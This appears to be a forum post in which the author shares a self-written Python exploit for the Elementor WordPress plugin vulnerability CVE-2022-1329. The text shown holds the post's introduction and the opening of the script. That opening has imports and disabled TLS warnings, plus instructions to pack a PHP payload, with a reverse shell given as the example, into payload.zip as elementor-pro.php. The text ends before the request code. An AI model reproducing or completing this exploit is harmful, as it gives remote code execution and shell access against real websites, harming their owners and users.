Hi all, I leave you an exploit I created to exploit Elementors CVE-2022-1329 vulnerability:
Hope this exploit can be useful for you.
Code:
#!/usr/bin/python
import requests
import re
requests.packages.urllib3.disable_warnings()
'''
payload content:
Create a zip file named payload.zip that contains a file called elementor-pro.php with your payload.
example:
(php reverseshell)
